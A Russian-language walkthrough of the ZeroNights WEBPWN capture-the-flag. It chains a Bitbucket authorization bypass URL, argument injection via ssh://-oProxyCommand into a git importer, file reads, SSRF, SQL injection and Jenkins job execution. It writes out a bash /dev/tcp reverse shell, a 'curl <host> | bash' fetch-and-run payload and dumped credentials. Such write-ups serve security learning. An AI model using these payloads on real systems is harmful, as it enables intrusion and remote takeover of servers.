DAY 1 / WEBPWN

Прохождение ZeroNights WEBPWN

Stage 1

Дана ссылка на сайт http://zeroevening.org/. Сразу же был опубликован хинт: «Page source code might tell you something». Заглянув на исходник страницы замечаем комментарий: 

updated page via bitbucket 23.10.2017

Комментарий

Директорий .git/.svn/.etc найдено не было. Запускам сканирование поддоменов. На выходе получаем список из двух интересных поддоменов:

Результат скана DNS

Остановимся на bitbucket.zeroevening.org. Стандартная страница Bitbucket. Версия 4.7.1. Вспоминаем CVE-2016-5007, который относится к Spring. Ошибка позволяет просматривать конфиденциальную информацию без авторизации. Нужно только обойти фильтр. Детали бага описаны здесь. Решение: http://bitbucket.zeroevening.org/%0Dadmin/server-settings

Обход авторизации

Stage 2

Переходим по линку git-admintools.zeroevening.org. Перед нами самопальный импортёр git репозиториев.

Admintools 1337
Судя по всему, по замылу создателей тут должен был отработать CVE-2004-0489, но выполнение кода работало и без этого. Передаем в качестве пути к репозиторию подобные данные ssh://-oProxyCommand=ping <наш хост>/wat и получаем на своем хосте ICMP запросы.

Раз пинги иду, значит доступ к внешке на машине есть. Нужен бэкконнект. Ограничением является наличие слеша в URL. Размещаем на своей тачке нужный пейлоад, направляем все HTTP запросы на файл с пэйлоадом, скачиваем через curl и отправляем в bash.

В качестве бэка используем нативную логику bash: bash -i >& /dev/tcp/<host>/<port> 0>&1

Отправляем запрос ssh://-oProxyCommand=curl <host> | bash /wat и получаем бэк.

Backconnect
Читаем файл config.php и получаем ссылку на следующий таск: http://dev-cyberplatform-ico.zeroevening.org.

Stage 3

Перед нами читалка файлов. 

LFR
Получаем точки монтирования http://dev-cyberplatform-ico.zeroevening.org/?url=/proc/mounts

/dev/vda1 /code ext4 rw,relatime,data=ordered 0 0

Читаем исходник PHP скрипта: http://dev-cyberplatform-ico.zeroevening.org/?url=/code/index.php

<?php
if (!isset($_GET['url'])){
	header("Location: /?url=ops.jpg");
}

error_reporting(0);

$image = $_GET['url'];

if (strpos($image, 'php://') !== false) {
	chdir('/code');
}else{
	chdir('/var/www/html');
}

/*
$ch = curl_init();
$optArray = array(
    CURLOPT_URL => $image,
    CURLOPT_RETURNTRANSFER => true
);
curl_setopt_array($ch, $optArray);
$imageData = base64_encode(curl_exec($ch));
curl_close($ch);
*/
$imageData = base64_encode(file_get_contents($image, false, stream_context_create(array('http' => array(   'ignore_errors' => true )  ) )));
$src = 'data:;base64,'.$imageData;
echo '<img src="',$src,'">';

?>

Понимаем, что нужно провернуть SSRF. Но куда? Пока сканировал хосты/порты списались с @yarbabin. Он кинул линк на хост 172.18.0.2. Там поднят HTTP-сервер и SQLi. Раскручиваем.

Таблица jenkins_users

Достаём колонки в таблице jenkins_users.

Данный для входа в Jenkins

Креды: «bomberman:HVQ8UijXwU)»

Stage 4

Вспоминаем про домен jenkins.zeroevening.org.

Данные из прошлого задания подошли.

Создаем новую задачу с произвольной конфигурацией, в качестве пэйлоада указываем скачивание и запуск Python скрипта с бэком.

Выполнение кода в Jenkins

Выполняем задание и получаем бэк.
Jenkins console

Получаем финальный флаг.
Флаг от последнего задания